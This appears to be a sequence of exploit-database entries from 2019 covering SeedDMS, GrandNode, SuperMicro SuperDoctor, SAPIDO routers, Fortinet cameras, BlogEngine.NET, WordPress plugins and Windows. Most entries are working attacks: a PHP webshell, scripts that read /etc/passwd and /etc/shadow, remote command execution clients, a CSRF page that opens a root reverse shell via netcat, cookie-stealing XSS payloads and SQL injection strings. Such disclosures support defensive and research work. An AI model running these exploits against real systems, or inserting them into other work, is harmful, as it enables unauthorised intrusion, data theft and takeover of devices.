  5. # Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11] # Google Dork: [NA] # Date: [20-June-2019] # Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com) # Vendor Homepage: [https://www.seeddms.org] # Software Link: [https://sourceforge.net/projects/seeddms/files/] # Version: [SeedDMS versions <5.1.11] (REQUIRED) # Tested on: [NA] # CVE : [CVE-2019-12744] Exploit Steps: Step 1: Login to the application and under any folder add a document. Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used. PHP Backdoor Code: <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> Step 3: Now after uploading the file check the document id corresponding to the document. Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser. Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
  6. # Exploit Title: [Persistent Cross-Site Scripting or Stored XSS in out/out.UsrMgr.php in SeedDMS before 5.1.11] # Google Dork: [NA] # Date: [20-June-2019] # Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com) # Vendor Homepage: [https://www.seeddms.org] # Software Link: [https://sourceforge.net/projects/seeddms/files/] # Version: [< 5.1.11] (REQUIRED) # Tested on: [NA] # CVE : [CVE-2019-12745] Proof-of-Concept: Step 1: Login to the application and go to My account and edit user details. Step 2: Change the name by adding <script>alert("name")</script> Step 3: Now browse to user management option in Admin-tools and click on choose user to execute the previously inserted javascript.
  7. # Exploit Title: [Persistent Cross-Site Scripting or Stored XSS in out/out.GroupMgr.php in SeedDMS before 5.1.11] # Google Dork: [NA] # Date: [17-June-2019] # Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com) # Vendor Homepage: [https://www.seeddms.org] # Software Link: [https://sourceforge.net/projects/seeddms/files/] # Version: [< 5.1.11] (REQUIRED) # Tested on: [NA] # CVE : [CVE-2019-12801] Proof-of-Concept: Step 1: Login to the application and go to Groups Management in Admin tools. Step 2: Now create a new group as hello<script>alert("group")</script> Step 3: Now save it click on choose group to execute the javascript inserted above.
  8. # Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated) # Date: 06/23/3019 # Exploit Author: Corey Robinson (https://twitter.com/CRobSec) # Vendor Homepage: https://grandnode.com/ # Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip # Version: <= v4.40 (before 5/30/2019) # Tested on: Ubuntu 18.04 # CVE: CVE-2019-12276 ''' CVE-2019-12276 A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to view any files that the application has read/view permissions to. This vulnerability affects Windows and Unix operating systems. For more details, see: https://security401.com/grandnode-path-traversal/ ''' import requests import argparse def exploit(url, file): session = requests.Session() paramsGet = {"fileName":file} rawBody = "\r\n" response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet) if "UnauthorizedAccessException" in response.content or response.status_code == 500: print("Access to the path '{}' is denied.".format(file)) return content_length = int(response.headers['Content-Length']) if content_length == 0: print("The '{}' file was not found.".format(file)) else: print("-" *22) print(response.content) print("-" *22) if __name__ == "__main__": parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download') parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL') parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download') args = parser.parse_args() exploit(args.url, args.file) # python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd" # python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt" # python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow" # python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"
  9. # Exploit Title: GSearch v1.0.1.0 - Denial of Service (PoC) # Date: 6/23/2019 # Author: 0xB9 # Twitter: @0xB9Sec # Contact: 0xB9[at]pm.me # Software Link: https://www.microsoft.com/store/productId/9NDTMZKLC693 # Version: 1.0.1.0 # Tested on: Windows 10 # Proof of Concept: # Run the python script, it will create a new file "PoC.txt" # Copy the text from the generated PoC.txt file to clipboard # Paste the text in the search bar and click search # Click any link and app will crash buffer = "A" * 2000 payload = buffer try: f = open("PoC.txt", "w") print("[+] Creating payload..") f.write(payload) f.close() print("[+] File created!") except: print("File cannot be created")
  10. Windows: CmpAddRemoveContainerToCLFSLog Arbitrary File/Directory Creation EoP Platform: Windows 10 1809 (not tested earlier) Class: Elevation of Privilege Security Boundary (per Windows Security Service Criteria): User boundary Summary: The kernel’s CmpAddRemoveContainerToCLFSLog function doesn’t safely create new transaction log containers leading to arbitrary file creation and EoP. Description: The configuration manager in the kernel supports creating registry keys within a transaction. To store the transaction log data a CLFS log file is used which is split into multiple containers. These transaction log files are stored within the same directory as the hive files with the names ending BLF. Container files, with the suffix TxR.X.regtrans-ms are created on demand if the amount of transaction data being stored is larger than available log space. As these container files are created within the security context of the process creating the transaction this creates a problem as the CLFS driver always creates file with the previous mode set to UserMode. This would mean a non-administrator couldn’t create transactions in any hive which is stored in a location they can’t write to, which includes any HKLM hive which wouldn’t be very useful. To solve this problem before calling ClfsAddLogContainer the kernel code attaches the calling thread to the System process and disables any impersonation token which ensures the call to CLFS will come from the SYSTEM user. This becomes an issue for the user’s registry hives as those hive files are located in user writable locations. Therefore as the names of the containers are predictable (just using an incrementing counter) it’s possible to redirect the container file creation through abusing symbolic links. Due to the location of the hive file it’d seem initially difficult to exploit this as a normal user as you can’t introduce a NTFS mount point in a parent path as you can’t delete/rename the existing hive files while the user is logged in. On newer versions of Windows with Developer Mode enabled you could create NTFS symbolic links but we’ve got to assume that this setting wouldn’t be enabled by default. It turns out looking at the call to IoCreateFileEx in CLFS that it doesn’t specify either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE which means it’s exploitable by abusing mount points as if it were a file level symbolic link (as documented in https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html). The file is created with the security descriptor of the original hive/transaction log which means the user can write to the created file. However this only works until 1803 which fixes this behavior and blocks reparsing from a mount point to a normal file. I’ve not investigated in depth but based on the flags set in the call in Process Monitor this “fix” works by setting the FILE_DIRECTORY_FILE in the parse context if a mount point is encountered before the driver returns STATUS_REPARSE. Ironically this behavior works in our favor, as the call is a FILE_CREATE disposition call then the file doesn’t exist anyway and by dropping a mount point named appropriately the CLFS code will create an arbitrary directory even though the code didn’t originally specify that requirement. Once CLFS realizes it’s created a directory (or at least something it can’t write to) it tries to back out and deletes the new directory, however if we’re quick we can write a file to the new directory (again as the security descriptor grants us access) which makes the delete operation fail. We can then use the directory to get system privileges, such as through abusing the DiagnosticsHub Collector Service. Funnily enough I think prior to 1803 this would be harder to exploit as the transaction logs seem to be deleted when the user logs out and it wouldn’t be possible to modify the contents of the newly created arbitrary file as it only allows read sharing. An unexpected consequence of a security mitigation it seems. Fixing wise there’s at least two things you could do. Firstly the generated name is under control of the kernel and so could be more random to prevent resource planting attacks. You could also modify CLFS to specify explicitly FILE_NON_DIRECTORY_FILE and maybe FILE_OPEN_REPARSE_POINT to prevent abuse of mount points and even symbolic links if the target is an NTFS symbolic link. Proof of Concept: I’ve provided a PoC as a C# project. It will use the vulnerability to create an arbitrary directory (on 1809 at least). Note that you’re likely to need at least two CPUs for the exploit to be successful as it requires winning the race between the directory being created and then being deleted. Note that if you get an error stating the transaction log file was full then it failed to capture the directory. Try running the PoC again as it should be possible to run it multiple times without significant consequence (although the transaction functionality of the user’s registry _might_ be broken). 1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build. 2) As a normal user run the PoC passing the name of a directory to create 3) The PoC should print the opened directory and granted access. Expected Result: The file creation Observed Result: The arbitrary directory was created and is writable by the current user. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47028.zip
  11. Windows: Windows Font Cache Service Insecure Sections EoP Platform: Windows 10 1809 (not tested earlier) Class: Elevation of Privilege Security Boundary (per Windows Security Service Criteria): User boundary Summary: The Windows Font Cache Service exposes section objects insecurely to low privileged users resulting in EoP. Description: The Windows Font Cache Service is used to speed up the performance of DirectWrite font renderer by caching various pieces of font information in a central location. The cache can then be accessed over a custom ALPC connection. In order to support passing back large data sets, such as the cache, the service makes use of memory mapped files. Rather than sharing the sections using a global name the service opens a handle to the calling process (using NtAlpcOpenSenderProcess) then duplicates the section handle into the caller. When the ALPC call returns the caller can pick up the section handle and map it. Almost certainly for reasons of security the service doesn’t give the caller a section object with SECTION_MAP_WRITE access as it doesn’t want the caller to modify the contents of the cached data, only read from it. Therefore when duplicating the handle it only specifies SECTION_MAP_READ which removes the write access from the handle. Unfortunately there’s a problem, specifically the section objects are created without a name or a security descriptor. This means there’s no security on the object (you can’t even set a security descriptor after creation) which means the caller can just call DuplicateHandle again to get back write access on the section handle, map the section as writeable and modify the contents. This behavior was the topic of my first Project Zero blog post (https://googleprojectzero.blogspot.com/2014/10/did-man-with-no-name-feel-insecure.html) where Chrome had a very similar use case and subsequent vulnerability. How can this be exploited? The cached data has a lot of complex binary data therefore there’s likely to be some memory corruption vulnerability here as there’s a presumption that only the service could modify the data. That said there does seem to be an enormous number of checks (and checksums) in the code and not being one for fuzzing this is probably a difficult approach. I think the cache also contains file paths, it’s possible that this might be modified to read arbitrary files as there’s an ALPC call to get a file handle, although this would only run at LOCAL SERVICE so it’s not much better than a normal user’s access but might be useful from an AppContainer. Instead of fuzzing the file format I decided to look elsewhere, there’s another vulnerable section object which is passed back from a call to AlpcServer::ProcessGetEventBufferMessage which seems to be a simple event log in a circular buffer. The service stores the current write location at offset 0x10 into the mapped section. As we can change the section back to write we can modify the offset, cause a logged event to occur and get a memcpy into an address up to 2GB relative to the start of the mapped log inside the service. As the service doesn’t expect this value to be modified by other processes it doesn’t do any bounds checks. For example here’s a crash when setting the pointer to 0x7FFFFFFF: (2f40.10a4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. msvcrt!memcpy+0x1cc: 00007ff8`5dd34a0c 488901 mov qword ptr [rcx],rax ds:000001ec`931b0043=???????????????? 0:002> k # Child-SP RetAddr Call Site 00 00000055`dbfff818 00007ff8`2a8015e2 msvcrt!memcpy+0x1cc 01 00000055`dbfff820 00007ff8`2a7fb2b9 fntcache!SharedCircularEventSink::LogEvent+0x3d2 02 00000055`dbfffa00 00007ff8`2a7faf24 fntcache!EventLogger::LogGenericEvent+0x89 03 00000055`dbfffa70 00007ff8`2a7fabb6 fntcache!AlpcServer::ProcessCacheHandleRequest+0x84 04 00000055`dbfffb90 00007ff8`2a808c35 fntcache!AlpcServer::ProcessMessage+0x24e 05 00000055`dbfffc30 00007ff8`2a808b17 fntcache!AlpcServer::Run+0x105 06 00000055`dbfffce0 00007ff8`5dc181f4 fntcache!AlpcServer::ThreadProc+0x17 07 00000055`dbfffd30 00007ff8`5f54a251 KERNEL32!BaseThreadInitThunk+0x14 08 00000055`dbfffd60 00000000`00000000 ntdll!RtlUserThreadStart+0x21 0:002> dc @rcx-7FFFFFFF 000001ec`131b0044 6961772c 33300a74 2039302f 343a3332 ,wait.03/09 23:4 000001ec`131b0054 34343a32 3435392e 3530362c 30312c36 2:44.954,6056,10 000001ec`131b0064 38353030 6361432c 74436568 64612c78 0058,CacheCtx,ad 000001ec`131b0074 656c4564 69622c6d 70616d74 2f33300a dElem,bitmap.03/ 000001ec`131b0084 32203930 32343a33 2e34343a 2c343539 09 23:42:44.954, 000001ec`131b0094 30363234 3030312c 2c393030 63706c41 4260,100009,Alpc 000001ec`131b00a4 2c727653 74617473 69682c65 33300a74 Svr,state,hit.03 000001ec`131b00b4 2039302f 343a3332 34343a32 3435392e /09 23:42:44.954 We can see that RCX is 0x7FFFFFFF above the start of the buffer (the buffer has a 0x44 byte header) and RCX is used at the target of the memcpy call. While we don’t fully control the contents of the write it is at least predictable, bounded in size and therefore almost certainly exploitable. At least this is the best I could find without spending my time reverse engineering the cache format for no real benefit. The ALPC server is accessible to all users as well as all AppContainers and Edge LPAC. So this bug could potentially be used to escape the sandbox. There are many questions about this code which I can’t readily answer, like why use raw ALPC rather than RPC or when not use the handle duplication facility of ALPC to pass the handle back rather than relying on duplication (not that it would have made this behavior any safer of course). Fixing wise, there’s a few different ways you could go about it. Since Windows 8 all unnamed objects can now enforce a security descriptor as long as it’s specified when creating the new object. Specifying a restrictive DACL the caller won’t have permission to reduplicate back to a writable object. This won’t work on Windows 7 and below (assuming the code goes back that far), you can specify a security descriptor but it’ll be ignored. For 7 you can assign a randomly generated name (or add it to an anonymous directory object then release the directory). For file based sections, such as the caches you could create separate section objects which are only marked for read access and duplicate those which should stop a user converting to writable. Finally you could just directly map the sections into the caller using NtMapViewOfSection which takes a process handle. Proof of Concept: I’ve provided a PoC as a C# project. It will query for the event buffer section object over ALPC, duplicate the section object to be writable, modify the current write offset then cause the service to generate a new log entry. This process will result in an OOB memcpy in the service when writing the log entry. 1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build. 2) Attach a debugger to the Windows Font Cache Service to see the crash. 3) As a normal user run the PoC. Expected Result: The event buffer section object is read-only. Observed Result: The event buffer section object can be duplicated back to writable and the event buffer modified leading to an arbitrary memcpy in the context of the service. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47029.zip
  12. # SuperMicro implemented a Remote Command Execution plugin in their implementation of # NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'. # This is an intended feature but leaves the system open (by default) to unauthenticated # remote command execution by abusing the 'executable' plugin with an NRPE client. # # For your pleasure, here is a PoC Python NRPE Client that will connect, execute the # cmd of choice and return its output. # # To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed # to execute NRPE commands agaist the system and/or block traffic on port 5666. # # NRPE cannot be disabled in this software, see Guide section 3.2 #Author: Simon Gurney #Date: 23/05/2019 #Vendor: SuperMicro #Product: SuperMicro Super Doctor 5 #Version: 5 #Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf ### Configurables command = "ping 1.1.1.1 -n 1" target = "1.2.3.4" target_port = 5666 ### Don't need to change anything below import binascii import struct import socket import ssl #### Struct Encoding Types StructCodeInt16 = "!h" ## Unsigned Int16 StructCodeInt32 = "!L" ## Unsigned Int32 #### NRPE Specific definitions NRPE_Version = ("","One", "Two", "Three") NRPE_Packet_Type = ("", "Query", "Response") NRPE_Response = ("Ok", "Warning", "Critical", "Unknown") NRPE_Version_1 = 1 NRPE_Version_2 = 2 NRPE_Version_3 = 3 NRPE_Packet_Type_Query = 1 NRPE_Packet_Type_Response = 2 NRPE_Response_Ok = 0 NRPE_Response_Warning = 1 NRPE_Response_Critical = 2 NRPE_Response_Unknown = 3 NRPE_Response_Type_Query = 3 #### RandomDefintions NullByte = b"\x00" TwoCharSuffix = "SG" class NRPEpacket: port = 5666 server = "127.0.0.1" nrpeVersion = NRPE_Version_2 nrpePacketType = NRPE_Packet_Type_Query nrpeResponseCode = NRPE_Response_Type_Query ownSocket = None def CalculateCRC(self): tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion) tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType) tempBuffer += NullByte * 4 tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode) tempBuffer += self.content return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff)) def PadTo1024Bytes(self,command): if len(command) <= 1024: tempBuffer = command else: Error("Command string is too long!") while len(tempBuffer) < 1024: tempBuffer += "\x00" tempBuffer += TwoCharSuffix return tempBuffer.encode() def Connect(self): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.server,self.port)) def WrapSSL(self): self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL") def Send(self): tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion) tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType) tempBuffer += self.crc tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode) tempBuffer += self.content self.socket.send(tempBuffer) def Recv(self): tempBuffer = self.socket.recv(2048) self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0] self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0] self.crc = tempBuffer[4:8] self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0] self.content = tempBuffer[10:] if self.crc != self.CalculateCRC(): print ("CRC does not match!") def PrintOut(self): print(" -=-=-=-= Begin NRPE Content =-=-=-=-") print("| NRPE Version = %i - %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion])) print("| NRPE Packet Type = %i - %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType])) print("| NRPE Packet CRC = %i" % struct.unpack(StructCodeInt32,self.crc)[0]) print("| NRPE Response Code = %i - %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode])) print("| Packet Content:") print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00")) print(" -=-=-=-= End NRPE Content =-=-=-=-") def Close(self): if not self.ownSocket: self.socket.close() def AutoSend(self): print("Sending...") self.PrintOut() self.Send() print("Receiving...") self.Recv() self.PrintOut() self.Close() def __init__(self, command, socket=None, server=None, port = None, ssl=True): self.content = self.PadTo1024Bytes(command) self.crc = self.CalculateCRC() if server: self.server = server if port: self.port = port if not socket: self.Connect() else: self.socket = socket self.ownSocket = True if ssl == True: self.WrapSSL() #NRPE CMD format is "executable!<binary>!<arguments> i.e." #NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend() split = command.split(" ",1) cmd = "executable!" + split[0] + "!" + split[1] NRPEpacket(cmd, server=target, port=target_port).AutoSend()
  13. # Exploit Title: SAPIDO RB-1732 command line execution # Date: 2019-6-24 # Exploit Author: k1nm3n.aotoi # Vendor Homepage: http://www.sapido.com.tw/ # Software Link: http://www.sapido.com.tw/CH/data/Download/firmware/rb1732/tc/RB-1732_TC_v2.0.43.bin # Version: RB-1732 V2.0.43 # Tested on: linux import requests import sys def test_httpcommand(ip, command): my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''} r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data) content = r.text content = content[ content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56: content.rfind('</textarea>')] return content print test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))
  14. # Exploit Title: FCM-MB40 Remote Command Execution as Root via CSRF # Date: 2019-06-19 # Exploit Author: @XORcat # Vendor Homepage: https://fortinet.com/ # Software Link: Customer Account Required # Version: v1.2.0.0 # Tested on: Linux # CVE : TBA <html> <!-- FCM-MB40 CSRF to RCE as root, by Aaron Blair (@xorcat) Full details: https://xor.cat/2019/06/19/fortinet-forticam-vulns/ Follow the following steps to demonstrate this PoC: 1. Replace IP addresses in Javascript code to repr esent your testing environment. 2. Launch a `netcat` listener on the attacker's host using `nc -nvlp 1337` 3. Ensure the "admin" user's browser is logged in to the FCM-MB40. * Note: all modern browsers will cache Basic Authentication credentials (such as those used by the FCM-MB40) even if the FCM-MB40's administration page is closed. 4. Open the crafted HTML document using the "admin" user's browser. * Note: In an attack scenario, this step would be performed by implanting the code into a legitimate webpage that the "admin" user visits, or by tricking the "admin" user into opening a page which includes the code. 5. Note that the `netcat` listener established in step 2. has received a connection from the camera, and that it is presenting a `/bin/sh` session as root. * Note: type `id` in the `netcat` connection to verify this. _Note: After this issue has been exploited, the state of the system will have changed, and future exploitation attempts may require modification._ --> <head> <script> const sleep = (milliseconds) => { return new Promise(resolve => setTimeout(resolve, milliseconds)) }; var sed_url = 'http://192.168.1.20/cgi-bin/camctrl_save_profile.cgi?num=9&name=a%20-e%20s/^if.*/nc\\t192.168.1.10\\t1337\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20&save=profile'; var execute_url = 'http://192.168.1.20/cgi-bin/ddns.cgi'; var sed_img = document.createElement("img"); sed_img.src = sed_url; sleep(400).then(() => { var execute_img = document.createElement("img"); execute_img.src = execute_url; }); </script> </head> <body> <h1>Welcome to my non-malicious website.</h1> </body> </html>
  15. [+] Sql Injection on AZADMIN CMS of HIDEA v1.0 [+] Date: 24/06/2019 [+] CWE Number : CWE-89 [+] Risk: High [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: https://www.hidea.com/ [+] Contact: [email protected] [+] Tested on: Windows 7 and Linux [+] Vulnerable Files: news_det.php [+] Dork : inurl:"news_det.php?cod=" HIDEA [+] Exploit : https://www.site.com/news_det.php?cod=[SQL Injection] [+] Payload : /*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+- [+] PoC: http://site.com/news_det.php?cod=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+- https://site.com/news_det.php?cod=77/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+- [+] Example: curl 'http://site.com/news_det.php?cod=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-' -H 'Host: www.centroconcept.com.br' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'Cookie: PHPSESSID=dv0rd3b6rbghah80getonfp601' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' XPATH syntax error: ' s3x0u:centroco_ger:s3x0u'
  16. # Exploit Title: Directory Traversal on BlogEngine.NET # Date: 24 Jun 2019 # Exploit Author: Aaron Bishop # Vendor Homepage: https://blogengine.io/ # Version: v3.3.7 # Tested on: 3.3.7, 3.3.6 # CVE : 2019-10717 1. Description ============== BlogEngine.NET is vulnerable to a directory traversal. The page parameter, passed to /api/filemanager, reveals the contents of the directory. 2. Proof of Concept ============= Log in to the application and submit a GET request to /api/filemanager: Request: ~~~ GET /api/filemanager?path=/../../ HTTP/1.1 Host: $RHOST User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: $COOKIE Connection: close Upgrade-Insecure-Requests: 1 ~~~ Depending on how the request is submitted, the response may be XML or JSON XML Response ~~~ HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 15 May 2019 01:58:46 GMT Connection: close Content-Length: 13030 <ArrayOfFileInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/BlogEngine.Core.FileSystem"> <FileInstance> <Created>5/14/2019 6:58:46 PM</Created> <FileSize></FileSize> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../..</FullPath> <IsChecked>false</IsChecked> <Name>...</Name> <SortOrder>0</SortOrder> </FileInstance> ... ~~~ JSON Response ~~~ HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 15 May 2019 02:35:13 GMT Connection: close Content-Length: 10011 [ { "IsChecked":false, "SortOrder":0, "Created":"5/14/2019 7:35:13 PM", "Name":"...", "FileSize":"", "FileType":0, "FullPath":"~/App_Data/files/../..", "ImgPlaceholder":"" } ... ~~~ import argparse import json import os import re import requests import sys """ Exploit for CVE-2019-10717 CVE Identified by: Aaron Bishop Exploit written by: Aaron Bishop Outputs list of filenames found in web root python exploit.py -t $RHOST ?path=/../.. /../../archive.aspx /../../archive.aspx.cs /../../archive.aspx.designer.cs /../../BlogEngine.NET.csproj /../../BlogEngine.NET.csproj.user /../../contact.aspx /../../contact.aspx.cs /../../contact.aspx.designer.cs """ urls = { "login": "/Account/login.aspx", "traversal": "/api/filemanager" } def make_request(session, method, target, data={}): proxies = { "http": "127.0.0.1:8080", "https": "127.0.0.1:8080" } if method == 'GET': r = requests.Request(method, target, params=data) elif method == 'POST': r = requests.Request(method, target, data=data) prep = session.prepare_request(r) resp = session.send(prep, verify=False, proxies=proxies) return resp.text def login(session, host, user, passwd): resp = make_request(session, 'GET', host+urls.get('login')) login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp) login_data = dict([(i[0],i[2]) for i in login_form]) login_data.update({'ctl00$MainContent$LoginUser$UserName': user}) login_data.update({'ctl00$MainContent$LoginUser$Password': passwd}) resp = make_request(session, 'POST', host+urls.get('login'), login_data) def parse(body, path, outfile): paths = json.loads(body) new_paths = set() for i in paths: if i.get('FileType') == 0: new_paths.add(i.get('FullPath')) else: outfile.write("{path}\n".format(path=i.get('FullPath'))) return new_paths def traverse(session, host, paths, outfile, visited=set()): paths = set(paths) - visited for path in paths: print path outfile.write("\n?path={path}\n".format(path=path)) visited.add(path) resp = make_request(session, 'GET', host+urls.get('traversal'), data=dict(path=path)) new_paths = parse(resp, path, outfile) if new_paths: traverse(session, host, new_paths, outfile, visited) def main(host, user, passwd, root, outfile): with requests.Session() as s: login(s, host, user, passwd) traverse(s, host, root, outfile) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Exploit CVE-2019-10717 Path traversal') parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host') parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account on blog') parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account') parser.add_argument('-r', '--root', nargs='+', default="/../..", help='Starting paths') parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL") parser.add_argument('-o', '--outfile', type=argparse.FileType('w'), default='CVE-2019-10717.txt') args = parser.parse_args() protocol = "https://" if args.ssl else "http://" if isinstance(args.root, str): args.root = [args.root] main(protocol + args.target, args.user, args.passwd, args.root, args.outfile)
  17. # Exploit Title: iLive - Intelligent WordPress Live Chat Support Plugin v1.0.4 Stored XSS Injection # Google Dork: - # Date: 2019/06/25 # Exploit Author: m0ze # Vendor Homepage: http://www.ilive.wpapplab.com/ # Software Link: https://codecanyon.net/item/ilive-wordpress-live-chat-support-plugin/20496563 http://www.ilive.wpapplab.com/ # Version: 1.0.4 # Tested on: Windows 10 / Parrot OS # CVE : - Info: Weak security measures like bad textarea data filtering has been discovered in the «iLive - Intelligent WordPress Live Chat Support Plugin». Current version of this premium WordPress plugin is 1.0.4. PoC: Go to the demo website http://www.site.com/ and open chat window by clicking on «Chat» icon on the bottom right corner. Use your payload inside input field and press [Enter]. Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website. To check your XSS Injections log in http://www.site.com/wp-admin/ and go to this page http://www.site.com/wp-admin/admin.php?page=ilive-chat-page then select your chat alias from the list. Keep in mind that there is 3 demo operators, so you must log in as operator assigned to your chat (operator number will be available after you send the first message in chat). Example #1: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(`m0ze`);> Example #2: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(document.cookie);> Example #3: <img src=x onerror=window.location.replace('https://m0ze.ru/');> Example #4: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//"> Example #5: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">
  18. =========================================================================================== # Exploit Title: WorkSuite PRM 2.4 - 'password' SQL Inj. # Dork: N/A # Date: 01-05-2019 # Exploit Author: Mehmet EMİROĞLU # Vendor Homepage: https://codecanyon.net/item/worksuite-project-management-system/20052522 # Software Link: https://codecanyon.net/item/worksuite-project-management-system/20052522 # Version: v2.4 # Category: Webapps # Tested on: Wamp64, Windows # CVE: N/A # Software Description: Worksuite is a project management software written in Laravel 5.4 (PHP Framework) which is specifically developed for freelancers and SMEs (Small/Medium sized enterprises). You can manage your company's daily work, your employee's tasks, keep a track on project's progress and much more. It is designed with latest security and code standards. =========================================================================================== # POC - SQLi # Parameters : password # Attack Pattern : %27 RLIKE (case when 5021001=5021001 then 0x454d49524f474c55 else 0x28 end) and '7917'='7917 # POST Method : http://localhost/worksuite24/public/login^_token=1knO8SR8Erjg56Mza4VaEv1Mb9lj5HiJBPmbTnFx&password=3115065[SQLINJECT HERE] ===========================================================================================
